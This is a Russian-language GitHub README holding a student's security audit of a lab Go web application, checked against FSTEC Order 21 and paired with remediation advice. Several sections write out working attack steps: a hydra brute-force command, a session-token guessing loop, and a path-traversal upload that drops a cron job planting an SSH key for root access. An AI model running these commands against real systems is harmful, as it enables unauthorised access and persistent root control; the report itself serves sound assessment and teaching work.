Skip to content

fector7/kontur

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

Итоговая работа по модулю "Защищённый контур" (Профессия Специалист по информационной безопасности) - Лунев Федор Владимирович

Анализ защищённости приложения «Защищённый контур»

1. Техническое описание объекта исследования

Параметр Значение
ОС Ubuntu Linux (OpenSSH 7.6p1 Ubuntu 4ubuntu0.3)
Приложение Go (Golang net/http server), порт 8888, протокол HTTP
Сервис systemd sk.service
Каталог приложения /opt/sk
Открытые порты 21/tcp (vsftpd 3.0.3), 22/tcp (OpenSSH 7.6p1), 8888/tcp (HTTP — приложение)

Структура приложения (выявлена в ходе анализа)

Приложение содержит следующие разделы:

  • /login.html — страница авторизации
  • /administrate/index.html — панель администрирования (управление пользователями и ролями)
  • /clients/index.html — раздел «Клиенты» (персональные данные: ФИО, телефон, email)
  • /commercial/index.html — раздел «Документы (КТ)» (коммерческая тайна: загрузка/скачивание/удаление файлов)

Система ролей

Роль Описание Предполагаемый доступ
ADMIN Администратор Управление пользователями
PDN Персональные данные клиентов Доступ к разделу «Клиенты»
KT Коммерческая тайна Доступ к разделу «Документы (КТ)»

2. Несоответствия требованиям нормативных документов

2.1. Приказ ФСТЭК России №21 — меры ИАФ (Идентификация и аутентификация)

ИАФ.1 — Идентификация и аутентификация пользователей

Несоответствие: Приложение возвращает различные сообщения об ошибках при попытке аутентификации:

  • Для несуществующего пользователя: Неверно указан логин
  • Для существующего пользователя с неверным паролем: Неверно указан пароль

Это позволяет злоумышленнику перечислить (перебрать) действительные логины пользователей системы (User Enumeration, CWE-204).

Доказательство:

$ curl -s -X POST http://192.168.0.13:8888/login -d "login=admin&password=wrong" | grep "invalid-feedback"
  → Неверно указан пароль

$ curl -s -X POST http://192.168.0.13:8888/login -d "login=nonexistentXXX999&password=wrong" | grep "invalid-feedback"
  → Неверно указан логин

Рекомендация: Использовать единое сообщение об ошибке: «Неверно указан логин или пароль».


ИАФ.5 — Защита обратной связи при вводе аутентифицирующей информации (маскирование пароля)

Несоответствие: Поле пароля на странице авторизации (/login.html) использует атрибут type="text" вместо type="password". Пароль отображается в открытом виде при наборе.

Доказательство (исходный код login.html):

<input name="password" type="text" class="form-control" id="password">

Аналогичная проблема присутствует на странице создания пользователя (/administrate/index.html) — поле пароля нового пользователя также имеет type="text".

Рекомендация: Заменить type="text" на type="password" во всех полях ввода пароля.


ИАФ.4 — Механизм аутентификации, обеспечивающий защиту аутентификационной информации

Несоответствие №1: Приложение работает исключительно по протоколу HTTP (без TLS/HTTPS). Все данные, включая логины, пароли и сессионные токены, передаются в открытом виде по сети.

Несоответствие №2: Сессионный cookie token не имеет флага Secure, что допускает его передачу по незашифрованному каналу.

Доказательство:

Set-Cookie: token=43261476; HttpOnly; SameSite=Strict

Флаг Secure — отсутствует.

Рекомендация: Настроить TLS (HTTPS) и установить флаг Secure на cookie.


ИАФ.4 — Требования к паролям

Несоответствие: Приложение не предъявляет никаких требований к сложности и длине пароля. При создании пользователя через панель администрирования допускается установка пароля длиной в 1 символ без каких-либо ограничений.

Согласно требованиям ФСТЭК, пароль должен содержать не менее 6–8 символов, включая буквы верхнего и нижнего регистра, цифры и специальные символы.

Рекомендация: Реализовать серверную валидацию сложности пароля (минимум 8 символов, обязательное наличие букв разного регистра, цифр и спецсимволов).


УПД.6 — Ограничение числа неуспешных попыток входа в систему

Несоответствие: Отсутствует механизм блокировки учётной записи или ограничения скорости (rate limiting) при многократных неудачных попытках входа. Проведено 20 последовательных неудачных попыток — все вернули HTTP 200 без каких-либо ограничений.

Доказательство:

Attempt 1: HTTP 200
Attempt 2: HTTP 200
...
Attempt 20: HTTP 200

Это подтверждается успешным подбором пароля пользователя root с помощью утилиты hydra:

hydra -l root -P /usr/share/wordlists/rockyou.txt -t 16 -s 8888 \
  192.168.0.13 http-post-form "/login:login=^USER^&password=^PASS^:S=303"

Результат: пароль root = password123 — найден за несколько минут.

Рекомендация: Реализовать блокировку учётной записи после 5–10 неудачных попыток входа или ввести прогрессивную задержку (throttling).


2.2. Приказ ФСТЭК России №21 — меры УПД (Управление доступом)

УПД.2 — Реализация необходимых методов управления доступом (дискреционный, ролевой или иной метод)

Несоответствие [КРИТИЧЕСКОЕ]: Разграничение доступа к разделу «Документы (КТ)» (/commercial/index.html) не работает.

Проведено тестирование с тремя пользователями:

Пользователь Роли Доступ к /clients (ПДн) Доступ к /commercial (КТ) Ожидаемый доступ к КТ
testpdn PDN HTTP 200 ✅ HTTP 200 ✅ Запрещён ❌
testkt KT HTTP 303 ❌ HTTP 200 ✅ Разрешён ✅
testnone (нет ролей) HTTP 303 ❌ HTTP 200 ✅ Запрещён ❌

Вывод: Пользователь без роли KT (и даже пользователь без каких-либо ролей) получает полный доступ к документам, отнесённым к коммерческой тайне. Разграничение доступа в разделе «Документы (КТ)» фактически отсутствует.

При этом разграничение доступа к разделу «Клиенты» (ПДн) работает корректно — пользователь без роли PDN получает перенаправление на страницу входа (HTTP 303).

Рекомендация: Реализовать проверку наличия роли KT при доступе к разделу /commercial/* на стороне сервера.


УПД.2 — Доступ без аутентификации к разделу КТ

Несоответствие [КРИТИЧЕСКОЕ]: Страница /commercial/index.html доступна без аутентификации (без cookie сессии). Неаутентифицированный пользователь может просматривать список документов КТ, а также загружать новые файлы через эндпоинт /commercial/create.

Доказательство:

 Без авторизации — просмотр документов КТ
$ curl -s -o /dev/null -w "%{http_code}" http://192.168.0.13:8888/commercial/index.html
200

 Без авторизации — загрузка файла в раздел КТ
$ curl -s -o /dev/null -w "%{http_code}" -X POST http://192.168.0.13:8888/commercial/create \
  -F "name=SECRET_DOC" -F "file=@/etc/hostname"
200

Файл успешно загружается и отображается в списке документов.

Рекомендация: Обязать аутентификацию для всех эндпоинтов раздела /commercial/*.



2.3. Требования к защите коммерческой тайны

Несоответствие: Приложение позиционируется как средство для работы с коммерческой тайной, однако механизм разграничения доступа к документам КТ не функционирует (УПД.2 выше):

  • Любой аутентифицированный пользователь (вне зависимости от ролей) имеет доступ к КТ
  • Неаутентифицированный пользователь также имеет доступ к КТ

Это является прямым нарушением требований по защите коммерческой тайны через механизмы разграничения доступа, встроенные в приложение.


3. Выявленные слабости и уязвимости

3.1. УЯЗВИМОСТЬ №1: Подбор пароля (Brute-Force) → Несанкционированный доступ к приложению

Параметр Значение
Слабость Отсутствие ограничения попыток входа (CWE-307), слабый пароль пользователя root (CWE-521), перечисление пользователей (CWE-204)
Уязвимость Возможность подбора пароля любого пользователя за конечное время
Критичность Высокая

Процесс эксплуатации

Шаг 1. Обнаружение существующих пользователей через различающиеся сообщения об ошибках:

 Несуществующий пользователь → "Неверно указан логин"
curl -s -X POST http://192.168.0.13:8888/login \
  -d "login=fakeuser&password=x" | grep "invalid-feedback"
 → Неверно указан логин

 Существующий пользователь → "Неверно указан пароль"
curl -s -X POST http://192.168.0.13:8888/login \
  -d "login=root&password=x" | grep "invalid-feedback"
 → Неверно указан пароль

Установлено, что в системе существуют пользователи: admin, root.

Шаг 2. Подбор пароля пользователя root утилитой Hydra:

hydra -l root -P /usr/share/wordlists/rockyou.txt -t 16 -s 8888 \
  192.168.0.13 http-post-form \
  "/login:login=^USER^&password=^PASS^:S=303"

Шаг 3. Пароль подобран: password123

Результат: Получен полный доступ к приложению от имени пользователя root, включая все разделы: Администрирование, Клиенты (ПДн), Документы (КТ).

Меры по устранению

  1. Внедрить блокировку учётной записи после 5–10 неудачных попыток (с разблокировкой через заданный интервал или администратором).
  2. Внедрить задержку ответа при неудачных попытках (progressive delay).
  3. Установить требования к сложности пароля (не менее 8 символов, буквы, цифры, спецсимволы).
  4. Использовать единое сообщение об ошибке аутентификации.
  5. Рассмотреть внедрение CAPTCHA после нескольких неудачных попыток.

3.2. УЯЗВИМОСТЬ №2: Несанкционированный доступ к коммерческой тайне без аутентификации

Параметр Значение
Слабость Отсутствие проверки аутентификации на эндпоинтах /commercial/* (CWE-306), нарушение разграничения доступа (CWE-284, CWE-862)
Уязвимость Полный доступ к документам КТ без авторизации
Критичность Критическая

Процесс эксплуатации

Шаг 1. Обращение к странице документов КТ без cookie аутентификации:

curl -s http://192.168.0.13:8888/commercial/index.html

Ответ: HTTP 200, полная HTML-страница с таблицей документов.

Шаг 2. Загрузка произвольного файла в раздел КТ без аутентификации:

curl -X POST http://192.168.0.13:8888/commercial/create \
  -F "name=СЕКРЕТНЫЙ_ДОКУМЕНТ" -F "file=@secret.pdf"

Ответ: HTTP 200 — файл успешно загружен.

Шаг 3. Проверка — файл отображается в списке документов КТ:

<td>СЕКРЕТНЫЙ_ДОКУМЕНТ</td>
<td>5</td>
<td>2026-05-22 20:38:55.094143271 +0300 MSK</td>

Результат: Неаутентифицированный злоумышленник может:

  • Просматривать список всех документов, отнесённых к КТ
  • Загружать произвольные файлы в раздел КТ
  • Подменять содержимое раздела

Меры по устранению

  1. Добавить обязательную проверку аутентификации (наличие валидного сессионного токена) для всех эндпоинтов /commercial/*.
  2. Добавить проверку наличия роли KT для доступа к /commercial/*.
  3. Реализовать серверную проверку авторизации на всех операциях (просмотр, создание, скачивание, удаление).

3.3. УЯЗВИМОСТЬ №3: Предсказуемые сессионные токены → Перехват сессии

Параметр Значение
Слабость Использование слабого генератора сессионных идентификаторов (CWE-330), малое пространство значений токена
Уязвимость Возможность подбора действующего сессионного токена (Session Hijacking)
Критичность Высокая

Описание

Сессионные токены представляют собой 8-значные целые числа в диапазоне 0–99 999 999:

token=60992550
token=53010491
token=97415198
token=86916294
token=68129465
token=26976797

Общее пространство значений — 100 000 000 (10^8). Для криптографически стойкого идентификатора сессии рекомендуется пространство не менее 2^128.

При скорости 1 000 запросов/сек полный перебор занимает ~28 часов. При 10 000 запросов/сек — ~2,7 часа.

Процесс эксплуатации (демонстрация)

 Получаем свой токен
TOKEN=43030000

 Перебираем значения вокруг известного токена
for i in $(seq 43029500 43030500); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    http://192.168.0.13:8888/ -H "Cookie: token=$i")
  if [ "$CODE" = "200" ]; then
    echo "VALID TOKEN: $i"
  fi
done
 Результат: VALID TOKEN FOUND: token=43030000 -> HTTP 200

Меры по устранению

  1. Использовать криптографически стойкий генератор случайных чисел (CSPRNG).
  2. Увеличить длину токена до не менее 128 бит (например, UUID v4 или 32 символа hex).
  3. Установить флаг Secure на cookie.
  4. Внедрить привязку сессии к IP-адресу и/или User-Agent.

3.4. УЯЗВИМОСТЬ №4: Обход каталога (Path Traversal) → Удалённое выполнение кода (RCE)

Параметр Значение
Слабость Недостаточная проверка входных данных при загрузке файлов (CWE-22, CWE-434)
Уязвимость Path Traversal, ведущий к записи произвольных файлов и RCE (Remote Code Execution)
Критичность Критическая

Описание и процесс эксплуатации (демонстрация)

Механизм загрузки файлов в разделе «Документы (КТ)» не проверяет и не санирует параметр name в multipart/form-data. Это позволяет использовать символы обхода каталога (../) для записи файла в любую директорию файловой системы.

Поскольку приложение работает от имени пользователя root, возможна запись файла в системные директории, например /etc/cron.d/, что приводит к удалённому выполнению кода с максимальными привилегиями. Примечательно, что даже если учётная запись root в приложении уже скомпрометирована другим путём, данная уязвимость позволяет злоумышленнику полноценно закрепиться в системе на уровне ОС, а также получить прямой доступ к памяти процесса веб-сервера, исходным кодам и всем базам данных.

Шаг 1. Генерация SSH-ключа и подготовка payload для cron:

ssh-keygen -t ed25519 -f ./sk_root_key -q -N ""
PUB_KEY=$(cat ./sk_root_key.pub)

cat <<EOF > ssh_payload.txt
* * * * * root mkdir -p /root/.ssh && echo "$PUB_KEY" > /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && rm -f /etc/cron.d/sk_ssh
EOF

Шаг 2. Эксплуатация уязвимости (загрузка файла через Path Traversal):

curl -s -F "name=../../../../etc/cron.d/sk_ssh" \
     -F "file=@ssh_payload.txt" \
     http://192.168.0.13:8888/commercial/create

Шаг 3. После срабатывания cron-задачи (через 1 минуту) получаем полный доступ к серверу по SSH:

ssh -i ./sk_root_key root@192.168.0.13

Результат: Полный контроль над сервером на уровне ОС с правами root.

Меры по устранению

  1. Жёстко валидировать имена файлов, удаляя или запрещая символы /, \ и последовательности ...
  2. Хранить загруженные файлы со случайно сгенерированными именами (например, UUID), а оригинальное имя хранить только в базе данных.
  3. Запускать приложение от имени непривилегированного пользователя (например, sk_user).

3.5. Дополнительные слабости

3.5.1. Использование HTTP вместо HTTPS (CWE-319)

Приложение работает исключительно по протоколу HTTP. Все данные (логины, пароли, сессионные токены, персональные данные клиентов, документы КТ) передаются по сети в открытом виде и могут быть перехвачены при помощи сетевого сниффера.

Рекомендация: Настроить TLS/HTTPS (сертификат Let's Encrypt или корпоративный CA), запретить работу по HTTP.


3.5.2. Отсутствие CSRF-защиты (CWE-352)

Ни одна форма в приложении не содержит CSRF-токен. Хотя cookie имеет атрибут SameSite=Strict, что частично снижает риск, полноценная защита от CSRF отсутствует.

Формы без CSRF-токена:

  • /login (POST)
  • /clients/create (POST)
  • /clients/delete (POST)
  • /commercial/create (POST)
  • /commercial/download (POST)
  • /commercial/delete (POST)
  • /administrate/create (POST)
  • /administrate/delete (POST)
  • /logout (POST)

Рекомендация: Реализовать генерацию и проверку CSRF-токенов для всех форм, изменяющих состояние.


3.5.3. Отсутствие HTTP-заголовков безопасности

При анализе HTTP-ответов сервера выявлено полное отсутствие защитных заголовков:

Заголовок Статус Назначение
X-Frame-Options ❌ Отсутствует Защита от Clickjacking
Content-Security-Policy ❌ Отсутствует Защита от XSS, инъекций
X-Content-Type-Options ❌ Отсутствует Предотвращение MIME-sniffing
Strict-Transport-Security ❌ Отсутствует Принудительное использование HTTPS
X-XSS-Protection ❌ Отсутствует Встроенная защита браузера от XSS

Рекомендация: Настроить отправку всех указанных заголовков.


3.5.4. Отсутствие ограничения типов загружаемых файлов (CWE-434)

Раздел «Документы (КТ)» позволяет загружать файлы любого типа — в том числе исполняемые файлы (.php, .sh, .exe, .elf) — без проверки расширения или MIME-типа.

Рекомендация: Реализовать whitelist допустимых расширений и MIME-типов. Проверять загружаемые файлы антивирусным ПО.


3.5.5. Открытые сетевые службы на сервере

На сервере обнаружены дополнительные открытые сетевые службы:

Порт Служба Риск
21/tcp vsftpd 3.0.3 (FTP) FTP передаёт данные в открытом виде; расширяет поверхность атаки
22/tcp OpenSSH 7.6p1 Устаревшая версия, подвержена CVE-2018-15473 (перечисление пользователей)

Рекомендация: Отключить FTP (использовать SFTP вместо FTP). Обновить OpenSSH до актуальной версии. Настроить файрвол для ограничения доступа к служебным портам.

3.5.6. Работа приложения с избыточными привилегиями (root) (CWE-250, УПД.5)

Приложение (процесс sk.bin, запускаемый через sk.service) выполняется от имени суперпользователя root. В случае компрометации приложения (как было продемонстрировано в уязвимости №4), злоумышленник сразу получает полный контроль над всей операционной системой. Это нарушает принцип наименьших привилегий и не соответствует мере УПД.5 (назначение минимально необходимых прав и привилегий пользователям и лицам, обеспечивающим функционирование информационной системы).

Рекомендация: Настроить запуск сервиса от имени выделенного непривилегированного системного пользователя (например, sk_user).


3.5.7. Использование слабого алгоритма хеширования паролей (CWE-327)

Анализ бинарного файла приложения и памяти процесса показал использование алгоритма MD5 для хеширования паролей пользователей. MD5 признан криптографически нестойким и уязвимым к атакам перебором и коллизиям. Базы данных пользователей (например, users.db) хранятся в проприетарном бинарном формате, однако пароли внутри них защищены только MD5.

Рекомендация: Перейти на криптографически стойкие алгоритмы хеширования паролей с использованием уникальной соли (bcrypt, Argon2, scrypt).


4. Общий вывод

Приложение «Защищённый контур» не соответствует заявленным характеристикам безопасности и не может использоваться для построения ИСПДн до 4 УЗ включительно, а также для обработки коммерческой тайны в текущем состоянии.

Для приведения приложения в соответствие с требованиями нормативных документов необходимо устранить все выявленные уязвимости и провести повторный аудит.


About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors